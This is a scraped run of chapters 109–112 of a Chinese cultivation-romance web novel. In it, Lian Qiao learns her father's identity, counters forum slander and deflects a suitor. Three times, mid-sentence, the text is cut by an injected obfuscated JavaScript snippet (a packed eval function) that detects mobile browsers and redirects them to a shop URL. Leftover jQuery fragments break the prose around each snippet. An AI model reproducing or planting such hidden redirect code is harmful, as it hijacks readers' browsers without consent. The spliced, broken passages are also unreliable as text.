“……”白花惊结巴了一下,“就是,就是无意间在杂谈上看到的。” “杂谈上有这些东西?” 白花惊:“……” 这几日她老是想到一些奇怪的事,心静不下来,一说到情蛊,脸都红了,“默非师父你不是让我多看书吗?” “也没让你看那些书……”默非沉默了,白花惊“哦”了一声,“其实……也没有什么的,我长大了,藏书阁里所有的书都对我开放,也没有逾矩。” 气氛忽然沉静得可怕。 躺在床上的连乔莫名看到了满屋子的粉红星星……什么诡异的情况,她只是借默非去给白花惊授课,怎么好像路走歪了呢,有一种朋友背着自己在干什么坏事的感觉。 白花惊尴尬地摸摸脑袋,三面狐摆了摆尾巴,对两个人之间奇怪的氛围早已习以为常。屋子里安安静静,“哐当”一声打破沉静。 剑匣掉到地上了。 更准确来说,是装着那把大剑的剑匣,被丛林剑撞到了地上。 白花惊“啊”了一声,摸摸连乔的“丛林”,这把小剑依照连乔身形而制,薄如蝉翼,异常轻巧,是不可多得的极品铸剑,但相比较霸气的“遗风”,它就显得又小又乖。 剑是有排他性的,丛林意识到这把剑比自己强,且异常服从自己的主人,剑灵开始闹别扭,想把那把大剑挤出连乔视线。 怪异的事,那把脾气异常之大通体猩红且邪气的大剑现在却没有脾气,任凭“丛林”将自己挤到角落,又被撞倒在地,也一声不吭。 “丛林你怎么这样啊。”白花惊想去捡掉落在地上的“遗风”,刚要伸手被默非拦住,默非将剑匣倒扣在剑身上,之后被装好,放在另一张桌子上。 白花惊摸了摸被剑气灼得有些红的手,这要是碰到剑柄,岂不是要被烫伤。 这把剑脾气比丛林还要大呢。 但好像又对丛林格外照拂,这让白花惊有种诡异的错觉,就像是一个脾气怪异的爹在对自己乖张女儿的时候,虽然无奈,但是也忍了。 白花惊将这个奇怪的想法讲给默非听,三面狐甩甩耳朵,默非顿一下,“你猜的?” 白花惊:“啊?” “不会是真的吧,这是连乔父亲的剑?”白花惊很奇怪,“连乔父亲不是玉谷主吗?” 可玉非缘不使剑。 玉谷主异常疼爱连乔这个唯一的女儿,在她很年轻时就将子午谷谷主之位传给她,之后退居二线。 默非:“玉非缘并不是连乔的亲生父亲,连云天才是。” 这比偷偷看禁.书被默非逮到还要让白花惊震惊。 她坐在原地花了很长时间才将这个消息消化,看了看连乔又看看默非,沉默了很久道,“但我没听说过连宗主有女儿。” “哦,露不霜不想让人知道,她嫌麻烦。” 白花惊:“啊?” 听到这个惊天大秘密,白花惊瞳孔地震,脑海中已经想过无数遍自己是不是看多了禁.书所以做梦梦到一些有的没的,还是默非师父说漏了嘴,后面后悔说给自己听要给她灭口了怎么办…… 但是这事又实在是太新鲜太猎奇了,那个无极宗前任宗主,传说中修为极高离飞升只差一步,那般光风霁月高岭之花的的连云天连宗主,居然有私生女,私生女还是她最好的朋友? 而且是什么,是连宗主想公开,但是连乔的母亲不让? 这是什么耸人听闻的故事? 天呐,我是不是看邪书看太多把脑子看坏了,要不以后还是不要涉猎太多了。 “嘴巴收一收吧。”默非道,“你也不用过于惊奇,前些年妖修的日子不好过,连乔娘亲讨厌别人打扰,不想缠上修真界那些乱七八糟的事很好理解。” 别说前些年了,哪怕是现在,修真界说要一视同仁,仍旧还对妖修抱用异样的眼光。 露不霜是借酒楼的老板,开门做生意,不喜欢被推在风口浪尖,一旦和连云天这种只在传闻中出现的人扯上关系,那基本就没有自己的日子过了。 白花惊喜欢看人间那些猎奇的话本子,但是这件事摆在明面上,她又觉得自己想象力不够丰富。 “可是,连宗主深居简出,什么时候和露老板认识的呢。”白花惊实在是太好奇了,“我想象不到……” 美艳老板娘和剑宗天才的相遇,该擦出什么样的爱情火花? 默非“嗤”一声,“怎么认识的,老是去人家店里借酒喝,没钱买,借得多了又没钱换,然后被扣下,以身相许了。” 白花惊:“?” 默非:“嗯。” 白花惊:“真的啊?” 默非:“真的,你以为借酒楼名字怎么来的,以前也不叫借酒楼,连云天借酒次数多了才改名叫借酒楼。” 毕竟对曾经的老仇人有意见,默非根本不介意抹黑他,甚至是有多难听就将多难听。 白花惊又震惊了。 穷困潦倒的剑修天才,月黑风高夜遇到有钱美貌的酒楼老板娘,因为欠了很多钱又还不上,被恶势力老板娘强行扣押,随后迫不得已被逼卖身,留下连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099516|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔…… 但是白花惊觉得这说不过去。 以当时连云天的修为,就算借酒楼里面所有人一起上也打不过他啊,他不想还钱谁能逼他还? 而且那时的无极剑宗盛极一时,连宗主再清贫也不至于喝不起一坛酒吧。 白花惊智商在线,对此抱有疑问,“我觉得更有可能是连宗主早就想卖身了,他假装借酒没钱还,然后主动被留下,主动献身的!” 默非:“……” 三面狐高兴地甩尾巴,表示白花惊猜对了。 对于默非无语的表情,白花惊语气坚定,“我觉得我说的才是真相。” 默非:“你真聪明。” 对露不霜情根深种,不仅主动献身,还隐姓埋名化身手无缚鸡之力的小白脸“连郎”,在借酒楼吃软饭吃了两年,如果不是乾元剑宗出大事有一大批修士在大荒原失踪,乾元剑宗的人找上借酒楼求助,恐怕露不霜还要被蒙在鼓里。 “啊?”白花惊叹了一口气,“既然连宗主很喜欢露楼主还有连乔,怎么没有认他们呢。” “死了。”默非道,“和钟蕴一样死在那场恶战中,你们剑宗的大剑仙钟蕴,不也是死得不明不白么。” 牵扯出这一段不能提的往事,白花惊沉默下来。 “连翘前几年之前就想进剑宗,她想弄清楚这些事。”望向床上仰躺着仍旧陷入昏迷的二人,默非微微叹了口气,“或许露不霜是正确的,她不来这里,才是最好的结果。” 那些看似是简单的排挤,其实背后都有根源在,原因错综复杂,一头扎进去后自己的命都差一点没了。 并未意识到床上的人已经醒转,一直以来守口如瓶的默非也只是和白花惊说了故事的冰山一角,但这一点线索足以让连乔窥见全貌。 白花惊问:“那默非师父,你一直守在连乔身边,也是受她父亲所托么?” “嗯,自不量力和他比试输了,代价是答应他一个条件。”默非漫不经心道,“连云天去大荒原之前找到我,让我守连翘到她有自保能力为止。” 白花惊点点头,“哦。” 默非将丛林剑和遗风放在一起,遗风嚣张霸气,却对丛林格外包容。 连云天那么个飞扬跋扈的人,女儿也是同样了不得的脾气。 “那南道师父呢?”虽然没有同南道学过什么,但是白花惊还是礼貌称南道为师父,“南道师父也是受连宗主所托吗?” “南道属妖族,家族被魔人灭族,他被露不霜接济,之后一直养在身边。”默非停顿一下,“露不霜病逝后,南道便守在连乔身边。” 白花惊眨眨眼,“露楼主真是一个很好的人啊。” “或许吧。” “药来了。”说曹操曹操到,南道推开门,将煎好的药放在桌上,又探头看看连乔,“她醒了吗?哦还没有,睡得还熟,小白花,等会儿还需要你给她喂药。” “好的,交给我吧。”白花惊又问,“还跟之前一样,迟师兄不用喂?” “嗯,喂了连乔,连乔没事了他也就好了。” 白花惊眨眨眼,心想这果然是情蛊,两人同感同命,这不是情蛊是什么? 110.第 110 章 在连乔睁眼后不久后迟星垂也醒了,白花惊还在和默非八卦,连乔默默地听,迟星垂也继续装晕,两个人各怀鬼胎,将这桩往事都装进肚子里。 默非说,露不霜不想让她掺和进这件事里面。 是的,不掺和是好事,她还没进乾元剑宗呢,送了无数条命了。 但是不进剑宗也不见得就能全身而退,上辈子的连翘不就是在子午谷乖乖待了一辈子么,最后也是死得不明不白。 身处在这泥缸中,不存在独善其身的退路,最好的防守方式就是进攻,在经历这么多事之后,她比任何人都清楚这个道理。 喂完了药,其他人退出去,只留下三面狐趴在塌上守夜。 连乔翻开万机看,经过与同月那一战,她现在名声大噪,名帖上讨论的帖子一条接着一条,有讨论她胆量的,有讨论她和“遗风”以及遗风主人连云天的,还有讨论她得罪了谁为什么遭那么多罪。 其中仍然掺杂着反对党和冷嘲热讽党的声音,但很快都被压下去——有一部分是真实名号压的,还有一部分是她买来的水军。 之前黑她的人很多,一直黑一直骂的极端黑粉也不少。乾元剑宗学业繁忙任务繁重,哪有那么多人有那么多闲工夫专门怼着她一个人炮轰? 果然,沿着那几个不停黑她的号,连乔还真扒出来一点东西。 贴号都很新,除了黑她没别的内容,很像是专门养的小号。 类似的号很多,都来自一个地方——吉照峰。 吉照峰,这名字倒是好听,实际上里面没一个好东西。 连乔沿着帖子点进去看,还有个帖子也很热,但相比较连乔用水军冲到前排的热帖中要收敛很多,帖名为“见证连乔被虐待至晕倒后,云中峰迟星垂也心痛至昏迷不醒。” 乾元剑宗大部分弟子还是比较单纯的,甚至都不会知道情蛊重心蛊是什么东西,自然也不会往上面想,大家更倾向于迟星垂和她之间有某种不可说的关联,致使迟星垂也跟着出事。 【要我说,连乔和迟星垂之间肯定有鬼,上次连乔被周重啸打出原形,谁都不认,只跟迟星垂。】 【同意楼上,我感觉两个人有关系很久了,上一次出剑宗历练,二人也是一起的,怎么感觉在我们不知道的情况下二人早就有所往来呢。】 【不对啊,之前不是有传闻说连乔喜欢的是迟来风吗,怎么大家是丢了一段记忆吗?】 【对啊,连乔就是对迟来风表白过多次,但是都被迟来风拒绝,当时一群人嘲笑她自不量力癞蛤蟆想吃天鹅肉。】 【额,都和迟星垂暗通款曲了,还能吃得下迟来风这一款吗?】 【楼上什么意思,要不要找面镜子照照自己是什么货色,迟来风很差吗,什么叫吃不下他那一款?】 【迟来风好歹也算是数一数二的美男子吧,虽然连乔也不差,但是也不至于说都可以瞧不上迟来风?】 【楼上也别太爱,迟来风身边什么莺莺燕燕都有,人家那家底要什么样的美男子没有,要去凑上去活受气?】 【而且就我个人而言,我觉得迟星垂无论是模样上还是安全感上,不输给迟来风。】 【同上,不仅不输,甚至略胜一筹。】 【两筹。】 【三筹。】 …… 居然有人在讨论她和迟星垂,还在比迟来风和迟星垂谁更适合做男朋友,连乔简直想笑,这二人哪一个都不好惹,迟星垂闷骚,迟来风明骚,有什么可比性么? 连乔仰躺着,看到又有人在下面歪到她身上。 【不是,连乔一个普普通通平平无奇的妖修,也好意思拿出来和迟星垂与迟来风挂钩,是我疯狂还是你们疯狂?】 一看这人名字,“山河锦绣”,很眼熟,是之前四处散播她谣言且找不到具体对应人的小号。 没等她号召水军过来把对方冲掉,下面有人快速回应。 【平平无奇,你管这叫平平无奇?】 【要是我也这么普普通通平平无奇就好了。】 【不对啊,楼上是怎么搞的啊,又开始瞧不起妖修了,我寻思着妖修也没怎么着你吧,妖修又不是妖人,既没有害人又维持着修真界传妙的平衡,而且都说了修真界要一视同仁,不要有这种歧视,没有人把话听进去是吧?】 下面有一个号,名叫容容瑶瑶,这名字没有任何修饰和掩饰,一看就是到迟来风那个特别针对云招摇的表妹。 表妹回复:【我觉得连乔很有担当啊,大大方方承认自己妖修的身份,相比较吉兆峰李长淮的弟子云招摇,那位有妖族血统却又藏着捏着不说的人,连乔招人喜欢多了。】 【?】 【?】 【???】 连乔:哎,到时间了,到恶毒表妹搜集了证据揭露云招摇真实身份的时候了。 原著里面是云招摇和迟来风成亲后一年容瑶揭露云招摇真实身份的,但上次在剑宗山洞中,南道因为说漏了嘴让容瑶提前抓到了把柄,云招摇还没有嫁入迟家呢,就要被表妹揭露老底了。 山河锦绣:【又关云招摇什么事,楼上请不要动不动就碰瓷上无关的人。】 白云苍狗:【又有哪只狗在乱叫,云招摇师姐独美好么,别动不动就给无辜的人泼脏水。】 扶摇而上:【怎么这又扯到云招摇师姐了,是自己家身份地位不够所以找热度是吗?】 【云招摇独美,少来碰瓷。】 【云招摇独美,少来碰瓷。】 【云招摇独美,少来碰瓷。】 …… 这一瞬间就堆起了高楼,看上去是云招摇非常有热度,但是细看看里面的话都一样,带节奏的。 而且骂自己就一身劲,说到云招摇那是天上月亮水面星光,半点儿不好的话都不能提? 连乔“哦吼”一声,原来云招摇请水军来压热度啊。 怪不得呢,从几年前惹到云招摇开始,她就被骂得头也抬不起来,原来是惹到不该惹的人。给她来黑红这一招? 高,实在是太高了。 系统:“呸,下头女。” 说完又加一句,“迟来风是个下头男。” 连乔收起万机,“你怎么又来了?你能不能换个词?你吵死了。。” 大战完四方,又找水军压完上面一边倒的舆论,连乔拍拍手,刚好对上旁边一双探究的双瞳。 连乔:“……啊呀迟师兄,你这是什么时候醒的啊?” 她在这里发癫,舌战群儒,骂得水军都压不住那崩走态势的战斗力,不会都被他看到了吧。 看到连乔已经完全痊愈且活蹦乱跳的,迟星垂揉了揉额头,违心地说,“嗯,刚醒。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111597|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊好巧,我也是。” 迟星垂:“……呵。” 这次的比试就这样过去,根据连乔的表现,入乾元剑宗自然不成问题。连乔在来回翻乾元剑宗所有峰主的名字,系统问她怎么想。 “什么怎么想?” “就是到底要不要选择进入乾元剑宗啊。”系统开口,“白日里默非的话你也偷听到了,他们不想让你接近真相,因为真相或许比你想象的还要难堪。” “而且很多你看上去觉得很好的人,他们掩饰得那么天衣无缝,实际上呢,都是自私自利的人罢了。” 在连乔经历一次生死之后,系统似乎将这些身外之物看淡了许多,“其实你也可以不依照原来的轨迹来活,非得掺这一趟浑水。” “说得我好像不掺和,对方就能放过我一样。”连乔将腿架在桌子上,就在迟星垂的目光扫过来时,她将腿放下。 并不是怕他,毕竟是人家的房间,对于那位有严重洁癖和强迫症的房间主人,她总得有点礼貌。 但迟星垂没有说什么,连乔又把腿架上去。她对系统道,“原主上辈子也不想蹚浑水,幕后的人放过她了吗?” “当然没有。” 收起万机,连乔起身往外走,南道端着药碗在后面喊,让她赶紧喝药,越喊连乔跑得越快,生怕被追上吸又酸又涩闻一口都恶心的药汤。 “这不刚醒么,怎么跑得这么生龙活虎的?”南道大喊,“你要去哪里?” “我去找师父。”连乔远远朝南道摆手。 此次宗门大比最终落下帷幕,根据赛程规则,连乔正式进入剑宗内门弟子,在学习一段时间后,进入师门双选阶段。 虽然也有其他优秀的且很适合做师父的长老对她抛出橄榄枝,甚至还包括了李长淮和鬼无牙。 李长淮她自然不会选,首先么,他那样子一看就是装的,不知道肚子里憋了什么坏事。其次么她有点颜控。 至于鬼无牙——让连乔非常吃惊的是,在她废了他的爱徒后,鬼长老不仅没有为难,甚至还帮着摆平了不依不饶的同家。 于他而言,多一个徒弟少一个徒弟也不能代表什么,反正同月已经废了,再多懊悔多纠缠没有意义,还不如和连乔交好,若是她愿意入他门下,那失去同月也没什么。 至于同月,废了她,又让她从高高在上的神坛上跌落下来,被师父抛弃,被爱人轻视,这对于高傲的她来说,实在是比直接杀了她还要残忍。 就像当初她允诺敖周的那样,“让同月丢人远比杀了她要解恨得多,我会想办法让她丢人的你放心。” 当时连乔只是想让同月在杨无溟面前小丢面子,没想到现在做得这么干净。 虽然帮敖周报了仇,但敖周却并不因此轻松,反倒觉得有些对不起她。 “连老板,你要是再活不成,我就要生出心魔了,幸好你醒了。”敖周声音闷闷的,“我把你碾压同月的全过程都记录下来了,反复品鉴,你太凶悍了,我要永远认你当老板。” 连乔:“谬赞。” “山影也很关心你,前两天一直来问我你怎么样了,我把你的影像传送给他,山影说等他有朝一日修成正果,也要……哎,老板,连老板,连乔?” 敖周望着已经灭掉的通讯符,莫名其妙,“什么啊这是,提到山影就生气。” 111.第 111 章 作为非常随性且非常自我的一个人,连乔对默非和南道所说的那些大道理一个不听,她认准了虞南子,就偏要虞南子当师父。 南道开口:“你剑气汹涌,元长老非常看好你,破天荒答应收你为弟子。” “你知道的,元常月是乾元剑宗屈指可数的女长老,目前徒弟也仅有成英轩一个,你是她除成英轩以来想收的第二位弟子,且你们剑术风格相同,拜元常月是最好的选择。” 就像邵灵,直接拒了李长淮的提前选择,只想在大比中一展风采,双选后入元常月门下。 连乔很坚定,“不要。” “那你入严青山门下,或者白岩门下都可,虞南子不修剑,你在他门下也不合适。” 连乔笑了一声,“南道你是怕我入虞南子门下,会跟童元宝他们鬼混吗?” “嗯……啊,不是。” 南道下巴戳进胸口,他望向默非,默非转头看了一眼连乔,过了会儿,“我觉得虞南子也可。” 南道:“……”方才我跟你不是这么说的啊! “我说了,选虞南子便一定会选他,我的脾气你还不清楚吗,什么时候听过你劝了?” “未必就是修剑之门最适合我,我很强的,三百六十技,样样不落人下。”连乔拍拍南道,“而且虞南子救过我,入云中峰于我而言更安全些。” 这倒是,南道也不说话了。 三面狐瞅一瞅南道,觉得南道似乎有点受伤,尤其是看到迟星垂的目光落在连乔身上,他更是深深叹了口气。 拜师大会比较简单,虞南子不喜欢那些繁琐的流程,除了剑宗必要的出席和奉拜师茶,他也没怎么露面。 将连乔领回云中峰后,他又不知所踪了。 “师父常年闭关,还经常会去六界其他地方游历,不经常在家。”童元宝看到连乔非常高兴,等南道将借酒楼一并送过来大包小包的礼物送过来时,他就更高兴了。 连乔在这里,不怕以后借酒楼不送今日新品过来,以后再也不需要花大半天排队只为那一口美味了。 一边往嘴里塞借酒楼今日份限定新品一边含糊不清叨叨,“师父让我们给你安排住所,云中峰很大,除了我们师兄弟四个,其他空的地方都能住,你就选此山居吧,那里大,又安静,门口有一大片桃花林。” 因为在乾元剑宗受禁制,且连乔现在也有一定的自保能力,默非没有跟过来,只有南道忙前忙后,帮连乔安顿好。 连乔仍由他将所有事情安排完成,才躺在躺椅上,慢悠悠拿起万机。 “上次让你帮我查一下李长淮的经历,查到了吗?” 南道坐下,给连乔倒上一杯茶,自己也倒上一杯,示意她坐有坐相站有站相,不要跟软骨头一样。 连乔将腿架得更高了。 “什么死脾气?”南道将一张纸铺在桌上,纸上有画有文字,上面记录着李长淮的生平,他的英勇事迹很多,一张纸都写不下。不过这张纸可缩小放大,往上翻便是剩余的部分。 “嗯?”连乔快速锁定其中一行,往下读,“李长淮来自无极剑宗?” “对,他是无极剑宗非常有名的剑修,无极剑宗没落,而乾元剑宗又出重金相聘,他便长驻吉照峰了。”南道望向连乔,后者正在用手指着文字的另一行,南道问,“怎么了?” “说李长淮曾经风流潇洒器宇轩昂。”连乔抬头,望着听完后好像对自己打听的消息也不那么自信的南道,“你在哪里搜的这些材料?别是什么野路子。” “应该是的吧?”南道心虚转转眼珠子,“虽然现在看上去是糟老头子,以前轩昂也说不准呢?” “额……”连乔继续往下看,“在剑术、心法、杂术上都有造诣,非常温和且上进的一个人,在当年的知名度也仅次于师兄连云天?” 南道:“我在无极剑宗打听的,应该是真的。” “虽然现在的李长淮和描述的大相径庭,但是岁月不饶人么,又没有飞渡成仙成为不死之身,容颜有改也正常。” 虽然这改得过于大了。 不仅是模样,连性格也和传闻中有所不同。 说以前的李长淮温和有礼,现在那个一点就着的死模样,怎么看都像是受刺激了性情大变。 南道:“人也是会变得嘛,这都过去这么多年了,李长淮成熟了也不好说。” “这变化就像磕了药一样。”连乔道,“他还老是怀疑我嗑药突破,要我说他才是那个磕多药后性情大变的,还像被魔气污染了。” 南道:“这话不要乱说。” 连乔翻了个巨大的白眼。 “你说他曾经和我……我爹是同门,二人关系好么?” 南道顿了一下,“你……都知道了?” “我又不傻,虽然你们都不想提这件事,但就差把连云天是‘连郎’这个真相扣在脸上了。”连乔道,“怎么着,玉非缘嫉妒我爹长得帅招我娘喜欢,所以不允许我提他,还经常因此迁怒于我?” 露不霜和连云天都去世那么多年了,到现在还是子午谷的禁忌,连提起都是一种忌讳。 这个玉非缘,也太敏感了。 至此在云中峰住下。之前就在这里待过一段时间,连乔对周围比较熟。 素日里虞南子不在,迟星垂也经常出入百丈河,凌阿喜欢去元常月那里找成英轩,童元宝和邵吴兴看上去不靠谱,实际上以虞南子的名义处理云中峰大小事务的一直都是他们俩,且处理得滴水不漏。 连乔在冲虚学院修习三年的期限没有结束,大部分时间便是往来于剑宗与学院之间。 “连乔,这是借酒楼刚送过来的莲子荷花酥,南道托我带给你的。” 白花惊早早来到学院,连乔已经到了。现在不用在云来城和冲虚学院之间往返,时间异常宽松。 望着那小山一样的包裹,连乔有点头疼。 总有这么一种家长,生怕孩子在外面鬼混虚度光阴,而孩子真过于辛苦,又想让她去虚度点光阴别太累着自己。 南道就属于这一类。 再修满一年,便可离开冲虚学院,连乔盘算着要不要接一些外出历练的活儿。白花惊说如果想历练但是又没有外出历练机会,可以去练剑场和阴阳镜,那里有模拟镜像。 “在哪?” “走,我带你去。” 连乔和白花惊并肩而走,冷不防撞到对面来人,那人冲她温柔一笑,“连乔。” 论课程,迟来风早就已经学完,但他后来陪着云招摇又多学了三年。现在又来了,是来陪另外一个姑娘。 上一次碰到连乔,容瑶对这个人印象不怎么好,但是在宗门大比上出尽了风头后,这个名字就深深烙在她脑海中。容瑶一斜眼,不像之前那么没礼貌,“连乔姑娘。” “瑶瑶,你先进镜像内吧,我找连乔有些事。”又笑着对白花惊,“还有你,小白花。” 白花惊望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14121094|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向连乔。在看到迟来风挤眉弄眼后,连乔示意白花惊也先进去,自己稍后就来。 “连乔,听闻你入了云中峰,不知今日可好?” “挺好的。”连乔也很有礼貌,“迟二公子支走旁边人,不知道找我什么事。” “就是想,请你吃个便饭。”迟来风道,“我们俩之间有不少误会,无论是之前的,还是再重逢之后的。” 转了转眼珠,连乔将周围的一切尽收眼底,忽略某张绝美精致又震惊的小脸,连乔弯了弯眉眼,“不合适吧,迟公子,你可是名花有主的人。” 迟来风笑了,一张俊脸笑得阳光明媚,“我尚未婚娶,也并未有未婚妻,不知道哪里来的名花有主。” “可是这段时间,你一直和长淮长老门下的招摇师姐走得很近……”连乔睁圆了狐狸眼望他,“我都听说了,你们俩郎才女貌情投意合,而且上次我遇险一事,你还帮招摇师姐说话了呢。” 迟来风了然,原来是为这事。就说么,连翘以前死缠烂打的,现在却连正眼都不愿意给一个,原来是吃醋了。 这么长时间将小心思掩藏得如此之好,也难为她了。 “我与招摇是同门,之前有过一段交情,我帮她也是同门间的情谊。”迟来风道,“连乔,你不必多想,我请你吃饭是我心悦于你,这是真真切切不能改变的。” 怎么办,好想吐。 怎么这么经典的海王渣男语录。 系统又冒头:“下头男。” 连乔:“可是你请我吃饭,被云招摇师姐知道了,她会生气的吧?” “这同她没有关系。”迟来风摇了摇扇子,自以为风流倜傥,“问题是你怎么想。” “我怎么想?我会多想。”将不远处脸黑的不成样子的女子表情尽收眼底,连乔勾了勾唇角,“可我听说,你们关系亲密你侬我侬如火如荼,而且你都答应要娶她了呢。” 迟来风一顿,“怎么会?” “连乔,我是云岭迟家二公子,我要娶,便也娶你这般的女子。”迟来风夹起来温柔又勾人,他深情款款,“而你是子午谷的谷主,又是借酒楼的女主人,与我无论是从哪方面都是天生的一对。” 直白点翻译,云招摇一介孤女,人确实有点意思,但是我跟她也只能是有点意思。 她是配不上我的,而你,无论是模样还是身份地位,都是我独一无二的选择。 连乔捂住胸口,避免刚刚被白花惊喂的糕点呕出来。 迟来风情意绵绵,“怎么了?” 连乔保持捂胸口的姿势,也深情款款,“啊呀,我心跳得好快。” 迟来风收起扇子,在她头上轻轻一敲,用那自以为很潇洒的语气喊了声,“小呆瓜。” “那我先去练剑了,小白花在等我。” 眼前的女子猛地冲了出去,在迟来风看不到的角落,扶着墙大吐特吐。 系统:“你不是专业的吗,你演感情戏也是一流啊,这咋没忍住呢?” “工伤啊,这是工伤啊!我恨不得自戳双目你知道吗?”连乔扬着拳头,深吸一口气,“话说,云招摇看到了吗?” “看到了,喏。” 正对面,云招摇提着剑冷脸走过,一直掩藏得很好的情绪彻底崩溃了,在扫到她这边的时候恶狠狠瞪了一眼。 迟来风跟在后面喊,“招摇,招摇……” 云招摇转过身,“别叫我,有什么事去叫你的小呆瓜去吧!” 112.第 111 章 练剑场里面人头攒动,越往里走人越少,到阴阳境这里就只剩下一两人。 阴阳境为整个修真界最大的人造幻境,内部分为三百六十小境,每一个小境都是不同的世界不同场景,里面虽然是幻境,但异常之真实,与现实是一比一建设,唯一不同的是里面的危险是虚拟的。 当在幻境中遇到不可化解的困境时,捏碎进阵铜铃,便由传送阵法将人传送出来,保证试炼弟子的安全。 一境到三百六十境的难度依次增高,连乔第一次来,要进的是一境。 让她没想到的是,云招摇也在。 连乔没有受虐的习惯,在对方三番五次想置自己于死地后还能够笑嘻嘻正常面对她,所以在云招摇转过头来对着她看时,她没有搭理。 一直到手握铜铃,一只脚踏入阴阳境一境时,后面倔强清冷的女子开口了。 “你很得意吧?” 连乔没转头,她猜云招摇在看自己,如果目光可以杀人的话,估计云招摇已经将自己撕碎了踩在脚下。 “曾经求而不得的东西,就这样上赶着捧在你面前,这滋味让你很快乐吧?”云招摇开口道,“我们俩也不是什么好朋友,你不用装。” 什么叫不装?麻烦你把你清冷无害的面具脱下来面对我呢。 人千万不要双标,像对面这样,人前一副善良温柔的面孔,背地里恶毒阴险的人还说自己装蒜——实在是太没有说服力了。 然后,在云招摇怨怼的目光中,连乔转过身,十分装,“啊,云师姐,不知道你说的是什么意思。” 在以往的职业生涯中,连乔不是没演过绿茶女,这次重新捡起来也仍旧得心应手。 她一双狐狸眼瞪得像葡萄一样圆,嘴唇微微张开,一副我不太理解你什么意思的无辜表情。 “招摇师姐,最近二公子确实经常找我,不过我们只是正常师兄妹之间的交流,没有聊别的,你可千万不要误会。” 云招摇:“?” 她忍无可忍,秀丽的眉头蹙起,“连乔,这样有意思吗?” 这样装蒜有没有意思还有待讨论,但是看到你装不下去破防的样子就很有意思了。 原本发现连乔没跟上来,白花惊转过身去找,看到云招摇也很吃惊,“招摇你怎么在这里?” 云招摇背着剑冷声道,“过来练剑。” 望着此境上面写上的大大的“一”字,白花惊陷入沉默。 招摇她刚进乾元剑宗就直接破了前五境,披荆斩棘直接入六境——现在她过一百零一境都不在话下,来初始境内练习,这理由有点敷衍了。 进入一境内,白花惊问连乔,“招摇找你什么事啊?” 一剑斩下,将尖啸而来的四翼黑翅鸟精劈了个对半,连乔纠结没有对着中间劈所以有点不正,在第二次重新对准对称轴,并且将鸟精劈得非常之均匀后,连乔弹了弹丛林身上的灰。 “她让我离她男人远点。” 连乔这一剑太漂亮了,白花惊崇拜地带着她踏入二境内。一边用崇拜的眼神看她再次一剑劈开赤练蛇妖后,一边啊一声,“是哪一个男人啊?” “……” 连乔手一抖,本来劈得特别轴对称的长蛇一边粗一边细,连着几次也没有让她满意,连乔索性竖着劈,劈完进入三境。 “小白花。”她说,“有时候我觉得你是真纯,但是有时候我又觉得你是装的。” 白花惊红了红脸,低头低得双下巴都怼出来,“我确实想不到是哪一个嘛。” “迄今为止,在她身边背景最强能力最大模样最好的人。”连乔道,“按照大家综合来评价的,当然,审美具有多样性,我是按照大家的评价来说的。”至于我,到底觉得他俊不俊有待考察。 “哦,迟来风啊……”白花惊了然,“云招摇让你离他远点?” “对。”不仅如此,就差把你从我这里把迟来风抢走后真的很龌龊这句话写在脸上了。 “让你离他远点?”白花惊撇一撇嘴,“这几次你都是跟我在一起,又没有主动凑上去啊,为什么让你离远点?不应该让迟来风离远一点吗?” 摸了摸小白花毛茸茸的头发,连乔叹了口气,“对啊,为什么呢?” 小白花被白岩捧在手心养了这么多年,养得天真无比不谙世事,连小白花都轻易看出来的问题,云招摇到底在迁怒什么? 烂黄瓜一条,也别太爱了。 不过么,想起当初面对梅承襄的态度,连乔觉得云招摇对迟来风未必全部都是爱。 这几年迟来风贴在云招摇身边驱寒问暖遮风避雨,看得出来云招摇也是真心享受迟来风偏爱带来的便利,但是若是撇去迟来风那些良好的外在条件,云招摇还会喜欢他么? 那就不得而知了。 一连三天去学院都能碰到迟来风,尤其是今天,他身边那个跟屁虫表妹都不见了,他一个人撑着伞在门口等连乔下学。 他今日穿的是素色袍子,撑着伞安静站在檐下,褪去原本的傲慢和张扬,反倒更显出本人风采。 连乔想一定是因为见到了迟来风不一样的一面所以觉得新奇,才答应去借酒楼赴他的宴。 绝不是因为今天的迟来风看上去很像迟星垂,还有那么几分撞在了她的审美点上,让她一时恍惚,脑子一热就答应了。 迟星垂和他那位师父一样神龙见首不见尾,入云中峰后一个月,她都没有见过他,偶尔从万机里面传来他的讯息,基本也是他找到了新的适合她的剑谱,又或者是她不懂的东西留言问他,他看到了会回。 连乔知道他很忙,童元宝早就和她说过,当然她自己也知道——就是因为迟星垂素日里不见人,所以当初他被连翘掳走后一年也没有人发现,甚至还觉得他这么销声匿迹很正常。 